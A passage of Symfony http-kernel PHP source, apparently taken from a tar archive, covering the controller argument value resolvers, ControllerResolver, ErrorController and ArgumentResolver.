continue; } $request = $event->getRequest(); if (!$type = $argument->metadata->getType()) { throw new \LogicException(sprintf('Could not resolve the "$%s" controller argument: argument should be typed.', $argument->metadata->getName())); } if ($this->validator) { $violations = new ConstraintViolationList(); try { $payload = $this->$payloadMapper($request, $type, $argument); } catch (PartialDenormalizationException $e) { $trans = $this->translator ? $this->translator->trans(...) : fn ($m, $p) => strtr($m, $p); foreach ($e->getErrors() as $error) { $parameters = ['{{ type }}' => implode('|', $error->getExpectedTypes())]; if ($error->canUseMessageForUser()) { $parameters['hint'] = $error->getMessage(); } $template = 'This value should be of type {{ type }}.'; $message = $trans($template, $parameters, 'validators'); $violations->add(new ConstraintViolation($message, $template, $parameters, null, $error->getPath(), null)); } $payload = $e->getData(); } if (null !== $payload) { $violations->addAll($this->validator->validate($payload, null, $argument->validationGroups ?? null)); } if (\count($violations)) { throw new HttpException($validationFailedCode, implode("\n", array_map(static fn ($e) => $e->getMessage(), iterator_to_array($violations))), new ValidationFailedException($payload, $violations)); } } else { try { $payload = $this->$payloadMapper($request, $type, $argument); } catch (PartialDenormalizationException $e) { throw new HttpException($validationFailedCode, implode("\n", array_map(static fn ($e) => $e->getMessage(), $e->getErrors())), $e); } } if (null === $payload) { $payload = match (true) { $argument->metadata->hasDefaultValue() => $argument->metadata->getDefaultValue(), $argument->metadata->isNullable() => null, default => throw new HttpException($validationFailedCode) }; } $arguments[$i] = $payload; } $event->setArguments($arguments); } public static function getSubscribedEvents(): array { return [ KernelEvents::CONTROLLER_ARGUMENTS => 'onKernelControllerArguments', ]; } private function mapQueryString(Request $request, string $type, MapQueryString $attribute): ?object { if (!$data = $request->query->all()) { return null; } return $this->serializer->denormalize($data, $type, null, $attribute->serializationContext + self::CONTEXT_DENORMALIZE); } private function mapRequestPayload(Request $request, string $type, MapRequestPayload $attribute): ?object { if (null === $format = $request->getContentTypeFormat()) { throw new HttpException(Response::HTTP_UNSUPPORTED_MEDIA_TYPE, 'Unsupported format.'); } if ($attribute->acceptFormat && !\in_array($format, (array) $attribute->acceptFormat, true)) { throw new HttpException(Response::HTTP_UNSUPPORTED_MEDIA_TYPE, sprintf('Unsupported format, expects "%s", but "%s" given.', implode('", "', (array) $attribute->acceptFormat), $format)); } if ($data = $request->request->all()) { return $this->serializer->denormalize($data, $type, null, $attribute->serializationContext + self::CONTEXT_DENORMALIZE); } if ('' === $data = $request->getContent()) { return null; } if ('form' === $format) { throw new HttpException(Response::HTTP_BAD_REQUEST, 'Request payload contains invalid "form" data.'); } try { return $this->serializer->deserialize($data, $type, $format, self::CONTEXT_DESERIALIZE + $attribute->serializationContext); } catch (UnsupportedFormatException $e) { throw new HttpException(Response::HTTP_UNSUPPORTED_MEDIA_TYPE, sprintf('Unsupported format: "%s".', $format), $e); } catch (NotEncodableValueException $e) { throw new HttpException(Response::HTTP_BAD_REQUEST, sprintf('Request payload contains invalid "%s" data.', $format), $e); } } } http-kernel/Controller/ArgumentResolver/NotTaggedControllerValueResolver.php000064400000006334151113511560023605 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller\ArgumentResolver; use Psr\Container\ContainerInterface; use Symfony\Component\DependencyInjection\Exception\RuntimeException; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface; use Symfony\Component\HttpKernel\Controller\ValueResolverInterface; use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata; /** * Provides an intuitive error message when controller fails because it is not registered as a service. * * @author Simeon Kolev */ final class NotTaggedControllerValueResolver implements ArgumentValueResolverInterface, ValueResolverInterface { private ContainerInterface $container; public function __construct(ContainerInterface $container) { $this->container = $container; } /** * @deprecated since Symfony 6.2, use resolve() instead */ public function supports(Request $request, ArgumentMetadata $argument): bool { @trigger_deprecation('symfony/http-kernel', '6.2', 'The "%s()" method is deprecated, use "resolve()" instead.', __METHOD__); $controller = $request->attributes->get('_controller'); if (\is_array($controller) && \is_callable($controller, true) && \is_string($controller[0])) { $controller = $controller[0].'::'.$controller[1]; } elseif (!\is_string($controller) || '' === $controller) { return false; } if ('\\' === $controller[0]) { $controller = ltrim($controller, '\\'); } if (!$this->container->has($controller) && false !== $i = strrpos($controller, ':')) { $controller = substr($controller, 0, $i).strtolower(substr($controller, $i)); } return false === $this->container->has($controller); } public function resolve(Request $request, ArgumentMetadata $argument): array { $controller = $request->attributes->get('_controller'); if (\is_array($controller) && \is_callable($controller, true) && \is_string($controller[0])) { $controller = $controller[0].'::'.$controller[1]; } elseif (!\is_string($controller) || '' === $controller) { return []; } if ('\\' === $controller[0]) { $controller = ltrim($controller, '\\'); } if (!$this->container->has($controller)) { $controller = (false !== $i = strrpos($controller, ':')) ? substr($controller, 0, $i).strtolower(substr($controller, $i)) : $controller.'::__invoke'; } if ($this->container->has($controller)) { return []; } $what = sprintf('argument $%s of "%s()"', $argument->getName(), $controller); $message = sprintf('Could not resolve %s, maybe you forgot to register the controller as a service or missed tagging it with the "controller.service_arguments"?', $what); throw new RuntimeException($message); } } http-kernel/Controller/ArgumentResolver/ServiceValueResolver.php000064400000006776151113511560021277 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller\ArgumentResolver; use Psr\Container\ContainerInterface; use Symfony\Component\DependencyInjection\Exception\RuntimeException; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface; use Symfony\Component\HttpKernel\Controller\ValueResolverInterface; use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata; /** * Yields a service keyed by _controller and argument name. * * @author Nicolas Grekas */ final class ServiceValueResolver implements ArgumentValueResolverInterface, ValueResolverInterface { private ContainerInterface $container; public function __construct(ContainerInterface $container) { $this->container = $container; } /** * @deprecated since Symfony 6.2, use resolve() instead */ public function supports(Request $request, ArgumentMetadata $argument): bool { @trigger_deprecation('symfony/http-kernel', '6.2', 'The "%s()" method is deprecated, use "resolve()" instead.', __METHOD__); $controller = $request->attributes->get('_controller'); if (\is_array($controller) && \is_callable($controller, true) && \is_string($controller[0])) { $controller = $controller[0].'::'.$controller[1]; } elseif (!\is_string($controller) || '' === $controller) { return false; } if ('\\' === $controller[0]) { $controller = ltrim($controller, '\\'); } if (!$this->container->has($controller) && false !== $i = strrpos($controller, ':')) { $controller = substr($controller, 0, $i).strtolower(substr($controller, $i)); } return $this->container->has($controller) && $this->container->get($controller)->has($argument->getName()); } public function resolve(Request $request, ArgumentMetadata $argument): array { $controller = $request->attributes->get('_controller'); if (\is_array($controller) && \is_callable($controller, true) && \is_string($controller[0])) { $controller = $controller[0].'::'.$controller[1]; } elseif (!\is_string($controller) || '' === $controller) { return []; } if ('\\' === $controller[0]) { $controller = ltrim($controller, '\\'); } if (!$this->container->has($controller) && false !== $i = strrpos($controller, ':')) { $controller = substr($controller, 0, $i).strtolower(substr($controller, $i)); } if (!$this->container->has($controller) || !$this->container->get($controller)->has($argument->getName())) { return []; } try { return [$this->container->get($controller)->get($argument->getName())]; } catch (RuntimeException $e) { $what = sprintf('argument $%s of "%s()"', $argument->getName(), $controller); $message = preg_replace('/service "\.service_locator\.[^"]++"/', $what, $e->getMessage()); if ($e->getMessage() === $message) { $message = sprintf('Cannot resolve %s: %s', $what, $message); } $r = new \ReflectionProperty($e, 'message'); $r->setValue($e, $message); throw $e; } } } http-kernel/Controller/ArgumentResolver/SessionValueResolver.php000064400000003476151113511560021314 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller\ArgumentResolver; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface; use Symfony\Component\HttpKernel\Controller\ValueResolverInterface; use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata; /** * Yields the Session. * * @author Iltar van der Berg */ final class SessionValueResolver implements ArgumentValueResolverInterface, ValueResolverInterface { /** * @deprecated since Symfony 6.2, use resolve() instead */ public function supports(Request $request, ArgumentMetadata $argument): bool { @trigger_deprecation('symfony/http-kernel', '6.2', 'The "%s()" method is deprecated, use "resolve()" instead.', __METHOD__); if (!$request->hasSession()) { return false; } $type = $argument->getType(); if (SessionInterface::class !== $type && !is_subclass_of($type, SessionInterface::class)) { return false; } return $request->getSession() instanceof $type; } public function resolve(Request $request, ArgumentMetadata $argument): array { if (!$request->hasSession()) { return []; } $type = $argument->getType(); if (SessionInterface::class !== $type && !is_subclass_of($type, SessionInterface::class)) { return []; } return $request->getSession() instanceof $type ? [$request->getSession()] : []; } } http-kernel/Controller/ArgumentResolver/RequestAttributeValueResolver.php000064400000002651151113511560023177 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller\ArgumentResolver; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface; use Symfony\Component\HttpKernel\Controller\ValueResolverInterface; use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata; /** * Yields a non-variadic argument's value from the request attributes. * * @author Iltar van der Berg */ final class RequestAttributeValueResolver implements ArgumentValueResolverInterface, ValueResolverInterface { /** * @deprecated since Symfony 6.2, use resolve() instead */ public function supports(Request $request, ArgumentMetadata $argument): bool { @trigger_deprecation('symfony/http-kernel', '6.2', 'The "%s()" method is deprecated, use "resolve()" instead.', __METHOD__); return !$argument->isVariadic() && $request->attributes->has($argument->getName()); } public function resolve(Request $request, ArgumentMetadata $argument): array { return !$argument->isVariadic() && $request->attributes->has($argument->getName()) ? [$request->attributes->get($argument->getName())] : []; } } http-kernel/Controller/ArgumentResolver/BackedEnumValueResolver.php000064400000006715151113511560021666 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller\ArgumentResolver; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface; use Symfony\Component\HttpKernel\Controller\ValueResolverInterface; use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata; use Symfony\Component\HttpKernel\Exception\NotFoundHttpException; /** * Attempt to resolve backed enum cases from request attributes, for a route path parameter, * leading to a 404 Not Found if the attribute value isn't a valid backing value for the enum type. * * @author Maxime Steinhausser * * @final since Symfony 6.2 */ class BackedEnumValueResolver implements ArgumentValueResolverInterface, ValueResolverInterface { /** * @deprecated since Symfony 6.2, use resolve() instead */ public function supports(Request $request, ArgumentMetadata $argument): bool { @trigger_deprecation('symfony/http-kernel', '6.2', 'The "%s()" method is deprecated, use "resolve()" instead.', __METHOD__); if (!is_subclass_of($argument->getType(), \BackedEnum::class)) { return false; } if ($argument->isVariadic()) { // only target route path parameters, which cannot be variadic. return false; } // do not support if no value can be resolved at all // letting the \Symfony\Component\HttpKernel\Controller\ArgumentResolver\DefaultValueResolver be used // or \Symfony\Component\HttpKernel\Controller\ArgumentResolver fail with a meaningful error. return $request->attributes->has($argument->getName()); } public function resolve(Request $request, ArgumentMetadata $argument): iterable { if (!is_subclass_of($argument->getType(), \BackedEnum::class)) { return []; } if ($argument->isVariadic()) { // only target route path parameters, which cannot be variadic. return []; } // do not support if no value can be resolved at all // letting the \Symfony\Component\HttpKernel\Controller\ArgumentResolver\DefaultValueResolver be used // or \Symfony\Component\HttpKernel\Controller\ArgumentResolver fail with a meaningful error. if (!$request->attributes->has($argument->getName())) { return []; } $value = $request->attributes->get($argument->getName()); if (null === $value) { return [null]; } if ($value instanceof \BackedEnum) { return [$value]; } if (!\is_int($value) && !\is_string($value)) { throw new \LogicException(sprintf('Could not resolve the "%s $%s" controller argument: expecting an int or string, got "%s".', $argument->getType(), $argument->getName(), get_debug_type($value))); } /** @var class-string<\BackedEnum> $enumType */ $enumType = $argument->getType(); try { return [$enumType::from($value)]; } catch (\ValueError $e) { throw new NotFoundHttpException(sprintf('Could not resolve the "%s $%s" controller argument: ', $argument->getType(), $argument->getName()).$e->getMessage(), $e); } } } http-kernel/Controller/ArgumentResolver/UidValueResolver.php000064400000003743151113511560020407 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller\ArgumentResolver; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface; use Symfony\Component\HttpKernel\Controller\ValueResolverInterface; use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata; use Symfony\Component\HttpKernel\Exception\NotFoundHttpException; use Symfony\Component\Uid\AbstractUid; final class UidValueResolver implements ArgumentValueResolverInterface, ValueResolverInterface { /** * @deprecated since Symfony 6.2, use resolve() instead */ public function supports(Request $request, ArgumentMetadata $argument): bool { @trigger_deprecation('symfony/http-kernel', '6.2', 'The "%s()" method is deprecated, use "resolve()" instead.', __METHOD__); return !$argument->isVariadic() && \is_string($request->attributes->get($argument->getName())) && null !== $argument->getType() && is_subclass_of($argument->getType(), AbstractUid::class, true); } public function resolve(Request $request, ArgumentMetadata $argument): array { if ($argument->isVariadic() || !\is_string($value = $request->attributes->get($argument->getName())) || null === ($uidClass = $argument->getType()) || !is_subclass_of($argument->getType(), AbstractUid::class, true) ) { return []; } /* @var class-string $uidClass */ try { return [$uidClass::fromString($value)]; } catch (\InvalidArgumentException $e) { throw new NotFoundHttpException(sprintf('The uid for the "%s" parameter is invalid.', $argument->getName()), $e); } } } http-kernel/Controller/ArgumentResolver/TraceableValueResolver.php000064400000003731151113511560021545 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller\ArgumentResolver; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface; use Symfony\Component\HttpKernel\Controller\ValueResolverInterface; use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata; use Symfony\Component\Stopwatch\Stopwatch; /** * Provides timing information via the stopwatch. * * @author Iltar van der Berg */ final class TraceableValueResolver implements ArgumentValueResolverInterface, ValueResolverInterface { private ArgumentValueResolverInterface|ValueResolverInterface $inner; private Stopwatch $stopwatch; public function __construct(ArgumentValueResolverInterface|ValueResolverInterface $inner, Stopwatch $stopwatch) { $this->inner = $inner; $this->stopwatch = $stopwatch; } /** * @deprecated since Symfony 6.2, use resolve() instead */ public function supports(Request $request, ArgumentMetadata $argument): bool { if ($this->inner instanceof ValueResolverInterface) { return true; } $method = $this->inner::class.'::'.__FUNCTION__; $this->stopwatch->start($method, 'controller.argument_value_resolver'); $return = $this->inner->supports($request, $argument); $this->stopwatch->stop($method); return $return; } public function resolve(Request $request, ArgumentMetadata $argument): iterable { $method = $this->inner::class.'::'.__FUNCTION__; $this->stopwatch->start($method, 'controller.argument_value_resolver'); yield from $this->inner->resolve($request, $argument); $this->stopwatch->stop($method); } } http-kernel/Controller/ArgumentResolver/QueryParameterValueResolver.php000064400000007066151113511560022636 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller\ArgumentResolver; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\Attribute\MapQueryParameter; use Symfony\Component\HttpKernel\Controller\ValueResolverInterface; use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata; use Symfony\Component\HttpKernel\Exception\NotFoundHttpException; /** * @author Ruud Kamphuis * @author Nicolas Grekas */ final class QueryParameterValueResolver implements ValueResolverInterface { public function resolve(Request $request, ArgumentMetadata $argument): array { if (!$attribute = $argument->getAttributesOfType(MapQueryParameter::class)[0] ?? null) { return []; } $name = $attribute->name ?? $argument->getName(); if (!$request->query->has($name)) { if ($argument->isNullable() || $argument->hasDefaultValue()) { return []; } throw new NotFoundHttpException(sprintf('Missing query parameter "%s".', $name)); } $value = $request->query->all()[$name]; if (null === $attribute->filter && 'array' === $argument->getType()) { if (!$argument->isVariadic()) { return [(array) $value]; } $filtered = array_values(array_filter((array) $value, \is_array(...))); if ($filtered !== $value && !($attribute->flags & \FILTER_NULL_ON_FAILURE)) { throw new NotFoundHttpException(sprintf('Invalid query parameter "%s".', $name)); } return $filtered; } $options = [ 'flags' => $attribute->flags | \FILTER_NULL_ON_FAILURE, 'options' => $attribute->options, ]; if ('array' === $argument->getType() || $argument->isVariadic()) { $value = (array) $value; $options['flags'] |= \FILTER_REQUIRE_ARRAY; } else { $options['flags'] |= \FILTER_REQUIRE_SCALAR; } $filter = match ($argument->getType()) { 'array' => \FILTER_DEFAULT, 'string' => \FILTER_DEFAULT, 'int' => \FILTER_VALIDATE_INT, 'float' => \FILTER_VALIDATE_FLOAT, 'bool' => \FILTER_VALIDATE_BOOL, default => throw new \LogicException(sprintf('#[MapQueryParameter] cannot be used on controller argument "%s$%s" of type "%s"; one of array, string, int, float or bool should be used.', $argument->isVariadic() ? '...' : '', $argument->getName(), $argument->getType() ?? 'mixed')) }; $value = filter_var($value, $attribute->filter ?? $filter, $options); if (null === $value && !($attribute->flags & \FILTER_NULL_ON_FAILURE)) { throw new NotFoundHttpException(sprintf('Invalid query parameter "%s".', $name)); } if (!\is_array($value)) { return [$value]; } $filtered = array_filter($value, static fn ($v) => null !== $v); if ($argument->isVariadic()) { $filtered = array_values($filtered); } if ($filtered !== $value && !($attribute->flags & \FILTER_NULL_ON_FAILURE)) { throw new NotFoundHttpException(sprintf('Invalid query parameter "%s".', $name)); } return $argument->isVariadic() ? $filtered : [$filtered]; } } http-kernel/Controller/ArgumentResolver/DateTimeValueResolver.php000064400000006521151113511560021357 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller\ArgumentResolver; use Psr\Clock\ClockInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\Attribute\MapDateTime; use Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface; use Symfony\Component\HttpKernel\Controller\ValueResolverInterface; use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata; use Symfony\Component\HttpKernel\Exception\NotFoundHttpException; /** * Convert DateTime instances from request attribute variable. * * @author Benjamin Eberlei * @author Tim Goudriaan */ final class DateTimeValueResolver implements ArgumentValueResolverInterface, ValueResolverInterface { public function __construct( private readonly ?ClockInterface $clock = null, ) { } /** * @deprecated since Symfony 6.2, use resolve() instead */ public function supports(Request $request, ArgumentMetadata $argument): bool { @trigger_deprecation('symfony/http-kernel', '6.2', 'The "%s()" method is deprecated, use "resolve()" instead.', __METHOD__); return is_a($argument->getType(), \DateTimeInterface::class, true) && $request->attributes->has($argument->getName()); } public function resolve(Request $request, ArgumentMetadata $argument): array { if (!is_a($argument->getType(), \DateTimeInterface::class, true) || !$request->attributes->has($argument->getName())) { return []; } $value = $request->attributes->get($argument->getName()); $class = \DateTimeInterface::class === $argument->getType() ? \DateTimeImmutable::class : $argument->getType(); if (!$value) { if ($argument->isNullable()) { return [null]; } if (!$this->clock) { return [new $class()]; } $value = $this->clock->now(); } if ($value instanceof \DateTimeInterface) { return [$value instanceof $class ? $value : $class::createFromInterface($value)]; } $format = null; if ($attributes = $argument->getAttributes(MapDateTime::class, ArgumentMetadata::IS_INSTANCEOF)) { $attribute = $attributes[0]; $format = $attribute->format; } if (null !== $format) { $date = $class::createFromFormat($format, $value, $this->clock?->now()->getTimeZone()); if (($class::getLastErrors() ?: ['warning_count' => 0])['warning_count']) { $date = false; } } else { if (false !== filter_var($value, \FILTER_VALIDATE_INT, ['options' => ['min_range' => 0]])) { $value = '@'.$value; } try { $date = new $class($value, $this->clock?->now()->getTimeZone()); } catch (\Exception) { $date = false; } } if (!$date) { throw new NotFoundHttpException(sprintf('Invalid date given for parameter "%s".', $argument->getName())); } return [$date]; } } http-kernel/Controller/ControllerResolverInterface.php000064400000002534151113511560017326 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller; use Symfony\Component\HttpFoundation\Request; /** * A ControllerResolverInterface implementation knows how to determine the * controller to execute based on a Request object. * * A Controller can be any valid PHP callable. * * @author Fabien Potencier */ interface ControllerResolverInterface { /** * Returns the Controller instance associated with a Request. * * As several resolvers can exist for a single application, a resolver must * return false when it is not able to determine the controller. * * The resolver must only throw an exception when it should be able to load a * controller but cannot because of some errors made by the developer. * * @return callable|false A PHP callable representing the Controller, * or false if this resolver is not able to determine the controller * * @throws \LogicException If a controller was found based on the request but it is not callable */ public function getController(Request $request): callable|false; } http-kernel/Controller/ArgumentResolverInterface.php000064400000001614151113511560016763 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller; use Symfony\Component\HttpFoundation\Request; /** * An ArgumentResolverInterface instance knows how to determine the * arguments for a specific action. * * @author Fabien Potencier */ interface ArgumentResolverInterface { /** * Returns the arguments to pass to the controller. * * @param \ReflectionFunctionAbstract|null $reflector * * @throws \RuntimeException When no value could be provided for a required argument */ public function getArguments(Request $request, callable $controller/* , \ReflectionFunctionAbstract $reflector = null */): array; } http-kernel/Controller/ErrorController.php000064400000004043151113511560014772 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller; use Symfony\Component\ErrorHandler\ErrorRenderer\ErrorRendererInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Exception\HttpException; use Symfony\Component\HttpKernel\HttpKernelInterface; /** * Renders error or exception pages from a given FlattenException. * * @author Yonel Ceruto * @author Matthias Pigulla */ class ErrorController { private HttpKernelInterface $kernel; private string|object|array|null $controller; private ErrorRendererInterface $errorRenderer; public function __construct(HttpKernelInterface $kernel, string|object|array|null $controller, ErrorRendererInterface $errorRenderer) { $this->kernel = $kernel; $this->controller = $controller; $this->errorRenderer = $errorRenderer; } public function __invoke(\Throwable $exception): Response { $exception = $this->errorRenderer->render($exception); return new Response($exception->getAsString(), $exception->getStatusCode(), $exception->getHeaders()); } public function preview(Request $request, int $code): Response { /* * This Request mimics the parameters set by * \Symfony\Component\HttpKernel\EventListener\ErrorListener::duplicateRequest, with * the additional "showException" flag. */ $subRequest = $request->duplicate(null, null, [ '_controller' => $this->controller, 'exception' => new HttpException($code, 'This is a sample exception.'), 'logger' => null, 'showException' => false, ]); return $this->kernel->handle($subRequest, HttpKernelInterface::SUB_REQUEST); } } http-kernel/Controller/ControllerResolver.php000064400000015156151113511560015511 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller; use Psr\Log\LoggerInterface; use Symfony\Component\HttpFoundation\Request; /** * This implementation uses the '_controller' request attribute to determine * the controller to execute. * * @author Fabien Potencier * @author Tobias Schultze */ class ControllerResolver implements ControllerResolverInterface { private ?LoggerInterface $logger; public function __construct(LoggerInterface $logger = null) { $this->logger = $logger; } public function getController(Request $request): callable|false { if (!$controller = $request->attributes->get('_controller')) { $this->logger?->warning('Unable to look for the controller as the "_controller" parameter is missing.'); return false; } if (\is_array($controller)) { if (isset($controller[0]) && \is_string($controller[0]) && isset($controller[1])) { try { $controller[0] = $this->instantiateController($controller[0]); } catch (\Error|\LogicException $e) { if (\is_callable($controller)) { return $controller; } throw $e; } } if (!\is_callable($controller)) { throw new \InvalidArgumentException(sprintf('The controller for URI "%s" is not callable: ', $request->getPathInfo()).$this->getControllerError($controller)); } return $controller; } if (\is_object($controller)) { if (!\is_callable($controller)) { throw new \InvalidArgumentException(sprintf('The controller for URI "%s" is not callable: ', $request->getPathInfo()).$this->getControllerError($controller)); } return $controller; } if (\function_exists($controller)) { return $controller; } try { $callable = $this->createController($controller); } catch (\InvalidArgumentException $e) { throw new \InvalidArgumentException(sprintf('The controller for URI "%s" is not callable: ', $request->getPathInfo()).$e->getMessage(), 0, $e); } if (!\is_callable($callable)) { throw new \InvalidArgumentException(sprintf('The controller for URI "%s" is not callable: ', $request->getPathInfo()).$this->getControllerError($callable)); } return $callable; } /** * Returns a callable for the given controller. * * @throws \InvalidArgumentException When the controller cannot be created */ protected function createController(string $controller): callable { if (!str_contains($controller, '::')) { $controller = $this->instantiateController($controller); if (!\is_callable($controller)) { throw new \InvalidArgumentException($this->getControllerError($controller)); } return $controller; } [$class, $method] = explode('::', $controller, 2); try { $controller = [$this->instantiateController($class), $method]; } catch (\Error|\LogicException $e) { try { if ((new \ReflectionMethod($class, $method))->isStatic()) { return $class.'::'.$method; } } catch (\ReflectionException) { throw $e; } throw $e; } if (!\is_callable($controller)) { throw new \InvalidArgumentException($this->getControllerError($controller)); } return $controller; } /** * Returns an instantiated controller. */ protected function instantiateController(string $class): object { return new $class(); } private function getControllerError(mixed $callable): string { if (\is_string($callable)) { if (str_contains($callable, '::')) { $callable = explode('::', $callable, 2); } else { return sprintf('Function "%s" does not exist.', $callable); } } if (\is_object($callable)) { $availableMethods = $this->getClassMethodsWithoutMagicMethods($callable); $alternativeMsg = $availableMethods ? sprintf(' or use one of the available methods: "%s"', implode('", "', $availableMethods)) : ''; return sprintf('Controller class "%s" cannot be called without a method name. You need to implement "__invoke"%s.', get_debug_type($callable), $alternativeMsg); } if (!\is_array($callable)) { return sprintf('Invalid type for controller given, expected string, array or object, got "%s".', get_debug_type($callable)); } if (!isset($callable[0]) || !isset($callable[1]) || 2 !== \count($callable)) { return 'Invalid array callable, expected [controller, method].'; } [$controller, $method] = $callable; if (\is_string($controller) && !class_exists($controller)) { return sprintf('Class "%s" does not exist.', $controller); } $className = \is_object($controller) ? get_debug_type($controller) : $controller; if (method_exists($controller, $method)) { return sprintf('Method "%s" on class "%s" should be public and non-abstract.', $method, $className); } $collection = $this->getClassMethodsWithoutMagicMethods($controller); $alternatives = []; foreach ($collection as $item) { $lev = levenshtein($method, $item); if ($lev <= \strlen($method) / 3 || str_contains($item, $method)) { $alternatives[] = $item; } } asort($alternatives); $message = sprintf('Expected method "%s" on class "%s"', $method, $className); if (\count($alternatives) > 0) { $message .= sprintf(', did you mean "%s"?', implode('", "', $alternatives)); } else { $message .= sprintf('. Available methods: "%s".', implode('", "', $collection)); } return $message; } private function getClassMethodsWithoutMagicMethods($classOrObject): array { $methods = get_class_methods($classOrObject); return array_filter($methods, fn (string $method) => 0 !== strncmp($method, '__', 2)); } } http-kernel/Controller/ArgumentResolver.php000064400000014241151113511560015142 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Controller; use Psr\Container\ContainerInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\Attribute\ValueResolver; use Symfony\Component\HttpKernel\Controller\ArgumentResolver\DefaultValueResolver; use Symfony\Component\HttpKernel\Controller\ArgumentResolver\RequestAttributeValueResolver; use Symfony\Component\HttpKernel\Controller\ArgumentResolver\RequestValueResolver; use Symfony\Component\HttpKernel\Controller\ArgumentResolver\SessionValueResolver; use Symfony\Component\HttpKernel\Controller\ArgumentResolver\TraceableValueResolver; use Symfony\Component\HttpKernel\Controller\ArgumentResolver\VariadicValueResolver; use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadataFactory; use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadataFactoryInterface; use Symfony\Component\HttpKernel\Exception\ResolverNotFoundException; use Symfony\Contracts\Service\ServiceProviderInterface; /** * Responsible for resolving the arguments passed to an action. * * @author Iltar van der Berg */ final class ArgumentResolver implements ArgumentResolverInterface { private ArgumentMetadataFactoryInterface $argumentMetadataFactory; private iterable $argumentValueResolvers; private ?ContainerInterface $namedResolvers; /** * @param iterable $argumentValueResolvers */ public function __construct(ArgumentMetadataFactoryInterface $argumentMetadataFactory = null, iterable $argumentValueResolvers = [], ContainerInterface $namedResolvers = null) { $this->argumentMetadataFactory = $argumentMetadataFactory ?? new ArgumentMetadataFactory(); $this->argumentValueResolvers = $argumentValueResolvers ?: self::getDefaultArgumentValueResolvers(); $this->namedResolvers = $namedResolvers; } public function getArguments(Request $request, callable $controller, \ReflectionFunctionAbstract $reflector = null): array { $arguments = []; foreach ($this->argumentMetadataFactory->createArgumentMetadata($controller, $reflector) as $metadata) { $argumentValueResolvers = $this->argumentValueResolvers; $disabledResolvers = []; if ($this->namedResolvers && $attributes = $metadata->getAttributesOfType(ValueResolver::class, $metadata::IS_INSTANCEOF)) { $resolverName = null; foreach ($attributes as $attribute) { if ($attribute->disabled) { $disabledResolvers[$attribute->resolver] = true; } elseif ($resolverName) { throw new \LogicException(sprintf('You can only pin one resolver per argument, but argument "$%s" of "%s()" has more.', $metadata->getName(), $this->getPrettyName($controller))); } else { $resolverName = $attribute->resolver; } } if ($resolverName) { if (!$this->namedResolvers->has($resolverName)) { throw new ResolverNotFoundException($resolverName, $this->namedResolvers instanceof ServiceProviderInterface ? array_keys($this->namedResolvers->getProvidedServices()) : []); } $argumentValueResolvers = [ $this->namedResolvers->get($resolverName), new DefaultValueResolver(), ]; } } foreach ($argumentValueResolvers as $name => $resolver) { if ((!$resolver instanceof ValueResolverInterface || $resolver instanceof TraceableValueResolver) && !$resolver->supports($request, $metadata)) { continue; } if (isset($disabledResolvers[\is_int($name) ? $resolver::class : $name])) { continue; } $count = 0; foreach ($resolver->resolve($request, $metadata) as $argument) { ++$count; $arguments[] = $argument; } if (1 < $count && !$metadata->isVariadic()) { throw new \InvalidArgumentException(sprintf('"%s::resolve()" must yield at most one value for non-variadic arguments.', get_debug_type($resolver))); } if ($count) { // continue to the next controller argument continue 2; } if (!$resolver instanceof ValueResolverInterface) { throw new 